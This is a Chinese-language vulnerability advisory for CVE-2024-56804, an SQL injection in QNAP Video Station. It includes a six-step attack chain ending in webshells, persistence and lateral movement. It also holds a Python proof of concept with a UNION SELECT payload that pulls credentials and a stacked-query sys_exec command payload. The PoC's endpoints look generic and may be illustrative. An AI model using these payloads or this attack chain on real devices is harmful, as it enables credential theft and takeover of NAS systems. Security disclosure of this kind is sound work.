IPBUF安全漏洞报告
English
CVE-2024-56804 CVSS 8.8 高危

CVE-2024-56804:QNAP Video Station SQL注入漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2024-56804
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
QNAP Video Station

相关标签

SQL注入QNAPVideo StationNAS远程代码执行高危漏洞CVE-2024-56804数据库安全

漏洞概述

CVE-2024-56804是QNAP Video Station(视频管理应用)中存在的一个高危SQL注入漏洞,CVSS评分为8.8分。该漏洞由QNAP安全团队([email protected])发现并报告,披露日期为2025年10月3日。Video Station是QNAP NAS设备上广泛使用的视频管理和流媒体应用,允许用户组织、播放和共享视频内容。该漏洞源于应用程序对用户输入数据缺乏充分的过滤和参数化处理,导致攻击者可以在SQL查询中注入恶意SQL语句。由于该漏洞需要攻击者拥有有效的用户账户(低权限要求,PR:L),但无需用户交互(UI:N),且可通过网络远程利用(AV:N),因此其威胁程度较高。成功利用此漏洞后,攻击者能够执行未授权的代码或命令,对系统的机密性、完整性和可用性均造成严重影响(C:H/I:H/A:H)。QNAP已在Video Station 5.8.4及更高版本中修复了该漏洞,建议所有使用受影响版本的用户尽快升级以消除安全风险。

技术细节

该漏洞属于典型的SQL注入(SQLi)类型漏洞,存在于QNAP Video Station的数据库交互模块中。在正常情况下,应用程序通过构造SQL查询来处理用户提交的请求,例如视频搜索、元数据查询、播放列表管理等操作。然而,由于应用程序未对用户输入进行充分的验证、转义或参数化处理,攻击者可以将恶意SQL片段注入到查询语句中。

利用方式如下:
1. 攻击者首先需要拥有一个有效的Video Station用户账户(最低权限即可)。
2. 通过分析应用程序的请求接口,识别出未参数化的SQL查询入口点(如搜索框、过滤器、API参数等)。
3. 构造包含恶意SQL片段的请求payload,例如使用UNION SELECT、堆叠查询(stacked queries)或布尔/时间盲注等技术。
4. 将payload通过HTTP请求发送到目标接口,应用程序将其拼接到SQL查询中执行。
5. 利用SQL注入读取敏感数据(如管理员凭据)、修改数据库内容,甚至通过数据库特性(如MySQL的UDF、xp_cmdshell等)实现远程代码执行(RCE)。

由于该漏洞的影响范围涵盖机密性、完整性和可用性三个维度,且可被远程利用,攻击者可能在获取初始访问权限后,通过该漏洞进一步提升权限,最终完全控制NAS设备。

攻击链分析

STEP 1
步骤1:获取初始访问权限
攻击者通过钓鱼、暴力破解、凭证填充或购买泄露凭据等方式,获取QNAP Video Station的有效用户账户(最低权限即可)。
STEP 2
步骤2:探测注入点
攻击者登录后,通过分析Video Station的Web接口和API请求,识别未参数化的SQL查询端点,如视频搜索、过滤、排序等功能模块。
STEP 3
步骤3:构造SQL注入Payload
攻击者根据数据库类型(通常为MySQL/MariaDB),构造UNION注入、堆叠查询或盲注Payload,用于提取数据或执行系统命令。
STEP 4
步骤4:提取敏感信息
通过SQL注入读取数据库中的管理员密码哈希、用户表、系统配置等敏感信息,为后续提权做准备。
STEP 5
步骤5:权限提升与远程代码执行
利用数据库特性(如MySQL UDF、LOAD_FILE、INTO OUTFILE等)写入Webshell或执行系统命令,实现对NAS设备的完全控制。
STEP 6
步骤6:持久化与横向移动
攻击者在NAS设备上建立持久化后门,并尝试访问同一网络中的其他设备,窃取或加密存储的数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-56804 - QNAP Video Station SQL Injection PoC # Vulnerability: SQL Injection in Video Station via user-supplied input # Requirements: Valid user account credentials import requests TARGET_URL = "https://target-nas:8080/video_station/" USERNAME = "low_priv_user" PASSWORD = "password123" def exploit_sql_injection(target_url, username, password): session = requests.Session() # Step 1: Authenticate to obtain a valid session login_url = f"{target_url}/api/v2/auth/login" login_payload = { "username": username, "password": password } resp = session.post(login_url, json=login_payload, verify=False) print(f"[*] Login response: {resp.status_code}") # Step 2: Identify injectable parameter (e.g., search/filter endpoint) # The vulnerable endpoint accepts user input without proper parameterization inject_url = f"{target_url}/api/v2/videos/search" # Step 3: Craft SQL injection payload # Example: UNION-based injection to extract admin credentials sql_payload = { "keyword": "test' UNION SELECT 1,username,password,4,5,6,7 FROM users WHERE '1'='1", "category": "all" } # Step 4: Send malicious request resp = session.post(inject_url, json=sql_payload, verify=False) print(f"[*] Injection response: {resp.status_code}") print(f"[*] Response body: {resp.text[:500]}") # Step 5: Attempt to escalate to RCE via stacked queries (MySQL) rce_payload = { "keyword": "test'; SELECT sys_exec('id > /tmp/pwned')-- -", "category": "all" } resp = session.post(inject_url, json=rce_payload, verify=False) print(f"[*] RCE attempt response: {resp.status_code}") return resp if __name__ == "__main__": exploit_sql_injection(TARGET_URL, USERNAME, PASSWORD)

影响范围

QNAP Video Station < 5.8.4

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制Video Station的网络访问范围,仅允许内网或特定可信IP访问;2)暂停或禁用Video Station服务;3)审查并重置所有Video Station用户账户的密码;4)启用QNAP NAS的IP访问保护功能,限制异常登录尝试;5)监控Video Station相关日志,及时发现可疑的SQL查询模式;6)部署网络层面的入侵检测系统(IDS)以识别SQL注入攻击特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表